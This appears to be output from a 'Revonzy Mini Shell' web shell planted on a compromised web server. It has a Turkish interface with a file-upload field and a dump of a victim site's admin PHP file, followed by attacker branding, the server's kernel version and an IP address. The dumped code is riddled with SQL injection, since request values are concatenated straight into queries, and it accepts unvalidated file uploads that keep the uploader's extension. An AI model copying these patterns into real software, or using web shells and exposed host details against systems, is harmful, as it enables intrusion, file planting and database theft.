Revonzy Mini Shell

Şuanki Dizin: /home4/shrishtiarchitec/public_html/adminpanel/pages/
Dosya Yükle :
Şuanki Dosya : //home4/shrishtiarchitec/public_html/adminpanel/pages/pages_curd.php

<?php 
include('../../config.php'); 
require_once(PATH_LIBRARIES.'/classes/DBConn.php');
require_once(PATH_LIBRARIES.'/functions/fun1.php');
$db = new DBConn();

$pathproject = ROOT."/image_upload/pages/";
$pathproject1 = ROOT."/image_upload/pages/thumb/";
///*******************************************************
/// Validate that the data already exist or not
///*******************************************************
if($_POST['type']=="validate")
{

	$sql="SELECT Category_Name FROM category WHERE Category_Name='".$_POST['cate_name']."' and Category_Id<>'".$_REQUEST['id']."'";
	$res=$db->ExecuteQuery($sql);
		
	if(empty($res))
    {
 		echo 0;
    }
	else
	{
		echo 1;
	}

}
///*******************************************************
/// To Insert Image /////////////////////////////////
///*******************************************************
if($_POST['type']=="image")
{
	/*print_r($_POST);
	exit;*/
	$con= mysql_connect(SERVER,DBUSER,DBPASSWORD);
	mysql_query('SET AUTOCOMMIT=0',$con);
	mysql_query('START TRANSACTION',$con);
	
	try
	{
		//Image Name
		$gallary = $_FILES['imageupload']['name'];
		
		//TEmp Image Image
		$tmp2 = $_FILES['imageupload']['tmp_name'];
	
		$image=explode('.',$gallary);
		$gallary_image = time().'.'.$image[1]; // rename the file name
		if(move_uploaded_file($tmp2, $pathproject.$gallary_image))
		{
			// move the image in the thumb folder
			$resizeObj1 = new resize($pathproject.$gallary_image);
			$resizeObj1 ->resizeImage(200,200,'auto');
			$resizeObj1 -> saveImage($pathproject1.$gallary_image, 100);
		}
		else
		{
			throw new Exception('0');
		}
			//Update Here Image Path Link
			$image=$db->EXecuteQuery("SELECT Pages_Id,Image_Path FROM pages WHERE Pages_Id='".$_POST['id']."'");
			if(count($image)>0)
			{
				//Delete Image Old Image
				//unlink($pathproject.$image[1]['Image_Path']);
				//unlink($pathproject1.$image[1]['Image_Path']);
			    
				//Update HEre New Image Path
				$tblfield=array('Image_Path');
				$tblvalues=array($gallary_image);
				$condition="Pages_Id=".$_POST['id'];
		 		$res=$db->updateValue('pages',$tblfield,$tblvalues,$condition);
				if(!$res)
				{
					//echo mysql_error();
					throw new Exception('0');
				}
				
			
			
			}
	   
	   echo     'http://'.$_SERVER['SERVER_NAME'].PATH_UPLOAD_IMAGE.'/pages/'.$gallary_image;
		mysql_query("COMMIT",$con);
			
	}
	catch(Exception $e)
	{
		echo  $e->getMessage();
		mysql_query('ROLLBACK',$con);
		mysql_query('SET AUTOCOMMIT=1',$con);
	}
}
///*******************************************************
/// To Insert New Pages /////////////////////////////////
///*******************************************************
if($_POST['type']=="addPages")
{
	$con= mysql_connect(SERVER,DBUSER,DBPASSWORD);
	mysql_query('SET AUTOCOMMIT=0',$con);
	mysql_query('START TRANSACTION',$con);
	
	try
	{
		
	    $tblfield=array('Title','File_Name','Details','H_Title','H_Details','Status','Show_Menu','Position');
		$tblvalues=array($_POST['title'],$_POST['filename'],$_POST['details'],$_POST['h_title'],$_POST['h_details'],1,$_POST['menushow'],$_POST['position']);
		$res=$db->valInsert("pages",$tblfield,$tblvalues);
     	if(!$res)
		{
			//echo mysql_error();
			throw new Exception('0');
		}
     	
	   echo 1;
		mysql_query("COMMIT",$con);
			
	}
	catch(Exception $e)
	{
		echo  $e->getMessage();
		mysql_query('ROLLBACK',$con);
		mysql_query('SET AUTOCOMMIT=1',$con);
	}
}

///*******************************************************
/// Edit Pages
///*******************************************************
if($_POST['type']=="editPages")
{
	
	$con= mysql_connect(SERVER,DBUSER,DBPASSWORD);
	mysql_query('SET AUTOCOMMIT=0',$con);
	mysql_query('START TRANSACTION',$con);
	
	try
	{
		
	    $tblfield=array('Title','File_Name','Details','H_Title','H_Details','Status','Show_Menu','Position');
		$tblvalues=array($_POST['title'],$_POST['filename'],$_POST['details'],$_POST['h_title'],$_POST['h_details'],1,$_POST['menushow'],$_POST['position']);
		 $condition="Pages_Id=".$_POST['id'];
		 $res=$db->updateValue('pages',$tblfield,$tblvalues,$condition);
     	if(!$res)
		{
			//echo mysql_error();
			throw new Exception('0');
		}
     	
	   echo 1;
		mysql_query("COMMIT",$con);
			
	}
	catch(Exception $e)
	{
		echo  $e->getMessage();
		mysql_query('ROLLBACK',$con);
		mysql_query('SET AUTOCOMMIT=1',$con);
	}
}


 ///*******************************************************
/// Delete row from Plant table
///*******************************************************
if($_POST['type']=="delete")
{
	$res=$db->ExecuteQuery("Select Sub_Id from category CG INNER JOIN sub_category SC ON SC.Category_Id=CG.Category_Id where CG.Category_Id=".$_POST['id']."");
	
	//Check HEre If Category  is used than you can not delete the row
	 if(count($res)==0)
	 {
		$tblname="category";
		$condition="Category_Id=".$_POST['id'];
		$res=$db->deleteRecords($tblname,$condition);
		if($res)
		{
			echo 1;
		}
		else
		{
			echo 0;
		}
	 }
	 else
	 {
	
		echo 0;
	}
}

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux vps.suncrosonline.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Mon May 21 23:36:36 UTC 2018 x86_64
Apache
162.241.69.42